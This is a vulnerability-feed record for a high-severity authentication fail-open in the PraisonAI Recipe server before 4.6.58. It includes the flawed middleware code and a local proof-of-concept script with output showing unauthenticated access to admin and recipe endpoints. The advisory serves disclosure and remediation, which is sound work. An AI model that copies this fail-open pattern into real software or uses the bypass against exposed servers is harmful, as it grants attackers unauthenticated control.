{"id":"CVE-2026-55533","aliases":["GHSA-gfq8-hmph-9gjv","PYSEC-2026-3889"],"title":"PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret","summary":"PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret","severity":"high","cvss":8.2,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","vendor":"praisonai","product":"praisonai","ecosystem":"pip","affected":["praisonai < 4.6.58"],"patched":["praisonai 4.6.58"],"published":"2026-08-25","updated":"2026-09-10","sourceUpdated":"2026-09-10T12:26:09.116996285Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-gfq8-hmph-9gjv","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gfq8-hmph-9gjv"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"},{"url":"https://github.com/MervinPraison/PraisonAI"},{"url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"},{"url":"https://pypi.org/project/praisonai"},{"url":"https://github.com/advisories/GHSA-gfq8-hmph-9gjv"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55533"}],"tags":["osv","pip","nvd","ghsa"],"epss":0.00337,"epssPercentile":0.27182,"cwe":["CWE-287","CWE-306"],"ingestedAt":"2026-08-25T15:27:53.142Z","slug":"CVE-2026-55533","body":"## Overview\n\n### Summary\n\nThe PraisonAI Recipe HTTP server silently allows unauthenticated requests when `auth` is configured as `api-key` or `jwt` but the corresponding secret is missing.\n\nThis creates an authentication fail-open condition. An operator can start the Recipe server with authentication enabled, including on a non-localhost interface, but the server still accepts unauthenticated requests if no API key or JWT secret is provided.\n\nThe issue is especially risky because the CLI safety check for non-localhost binding only verifies that `auth != \"none\"`. It does not verify that an actual API key or JWT secret exists.\n\n### Details\n\nThe Recipe server documents the following authentication modes:\n\n- `none`\n- `api-key`\n- `jwt`\n\nRelevant source locations:\n\n- `src/praisonai/praisonai/recipe/serve.py`\n- `src/praisonai/praisonai/cli/features/recipe.py`\n\nIn `create_auth_middleware()`, the API key middleware resolves the expected key as:\n\n```python\nexpected_key = api_key or os.environ.get(\"PRAISONAI_API_KEY\")\n\nif not expected_key:\n    # No key configured, allow request\n    return await call_next(request)\n```\n\nThis means `auth: api-key` does not enforce authentication if `api_key` / `PRAISONAI_API_KEY` is missing.\n\nThe JWT middleware has the same fail-open behavior:\n\n```python\nsecret = jwt_secret or os.environ.get(\"PRAISONAI_JWT_SECRET\")\nif not secret:\n    return await call_next(request)\n```\n\nThe auth middleware is still attached when `auth` is configured:\n\n```python\nauth_type = config.get(\"auth\")\nif auth_type and auth_type != \"none\":\n    auth_middleware = create_auth_middleware(\n        auth_type,\n        api_key=config.get(\"api_key\"),\n        jwt_secret=config.get(\"jwt_secret\"),\n    )\n    if auth_middleware:\n        middleware.append(Middleware(auth_middleware))\n```\n\nThe CLI path makes this externally reachable in a misconfigured deployment. In `cmd_serve`, the non-localhost safety check only verifies that auth is not `\"none\"`:\n\n```python\nif host != \"127.0.0.1\" and host != \"localhost\" and auth == \"none\":\n    self._print_error(\"Auth required for non-localhost binding. Use --auth api-key or --auth jwt\")\n    return self.EXIT_POLICY_DENIED\n```\n\nTherefore, this command passes the safety check:\n\n```bash\npraisonai recipe serve --host 0.0.0.0 --auth api-key\n```\n\nHowever, if no `--api-key` or `PRAISONAI_API_KEY` is configured, requests are still accepted without authentication.\n\nAffected endpoints include:\n\n- `POST /v1/recipes/run`\n- `POST /v1/recipes/stream`\n- `POST /v1/recipes/validate`\n- optional `POST /admin/reload` when `enable_admin` is true\n\n### PoC\n\nThe following local PoC verifies that `api-key` and `jwt` authentication fail open when the corresponding secret is missing.\n\nRun from the repository root with test dependencies installed:\n\n```bash\npython3 poc_recipe_auth_fail_open.py\n```\n\n`poc_recipe_auth_fail_open.py`:\n\n```python\nimport os\nimport sys\nfrom pathlib import Path\n\nfrom starlette.testclient import TestClient\n\nROOT = Path.cwd()\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai\"))\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai-agents\"))\n\n# Ensure no secrets are present in the environment.\nos.environ.pop(\"PRAISONAI_API_KEY\", None)\nos.environ.pop(\"PRAISONAI_JWT_SECRET\", None)\n\nfrom praisonai.recipe.serve import create_app\n\n# api-key auth selected, but no key configured.\napp_open = create_app({\"auth\": \"api-key\", \"enable_admin\": True})\nclient_open = TestClient(app_open)\n\nprint(\"api-key auth with missing key:\")\nprint(\"GET /openapi.json:\", client_open.get(\"/openapi.json\").status_code)\nprint(\"POST /admin/reload:\", client_open.post(\"/admin/reload\").status_code)\n\n# api-key auth selected with an actual key configured.\napp_closed = create_app({\n    \"auth\": \"api-key\",\n    \"api_key\": \"expected\",\n    \"enable_admin\": True,\n})\nclient_closed = TestClient(app_closed)\n\nprint(\"\\napi-key auth with configured key:\")\nprint(\"missing key:\", client_closed.post(\"/admin/reload\").status_code)\nprint(\"wrong key:\", client_closed.post(\n    \"/admin/reload\",\n    headers={\"X-API-Key\": \"wrong\"},\n).status_code)\nprint(\"correct key:\", client_closed.post(\n    \"/admin/reload\",\n    headers={\"X-API-Key\": \"expected\"},\n).status_code)\n\n# jwt auth selected, but no JWT secret configured.\napp_jwt_open = create_app({\"auth\": \"jwt\"})\nclient_jwt_open = TestClient(app_jwt_open)\n\nprint(\"\\njwt auth with missing secret:\")\nprint(\"GET /openapi.json:\", client_jwt_open.get(\"/openapi.json\").status_code)\n```\n\nObserved output:\n\n```text\napi-key auth with missing key:\nGET /openapi.json: 200\nPOST /admin/reload: 200\n\napi-key auth with configured key:\nmissing key: 401\nwrong key: 401\ncorrect key: 200\n\njwt auth with missing secret:\nGET /openapi.json: 200\n```\n\nThe important result is that `auth=api-key` without a configured key allows requests to protected endpoints, while the same endpoint correctly returns `401` when a key is configured and missing/wrong.\n\n### Impact\n\nIn an exposed deployment, an unauthenticated attacker can access Recipe server endpoints even though the operator selected `api-key` or `jwt` authentication.\n\nThis gives unauthenticated access to recipe execution endpoints such as:\n\n- `POST /v1/recipes/run`\n- `POST /v1/recipes/stream`\n\nIf admin endpoints are enabled, the attacker can also access:\n\n- `POST /admin/reload`\n\nThe impact depends on the available recipes and deployment configuration. In the worst case, unauthenticated users can trigger recipe workflows or administrative reload operations on an externally bound Recipe server.\n\n## Affected packages\n\n- `praisonai < 4.6.58`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `praisonai 4.6.58`","depth":"twilight","depthScore":45,"depthScoreParts":{"impact":45.1,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}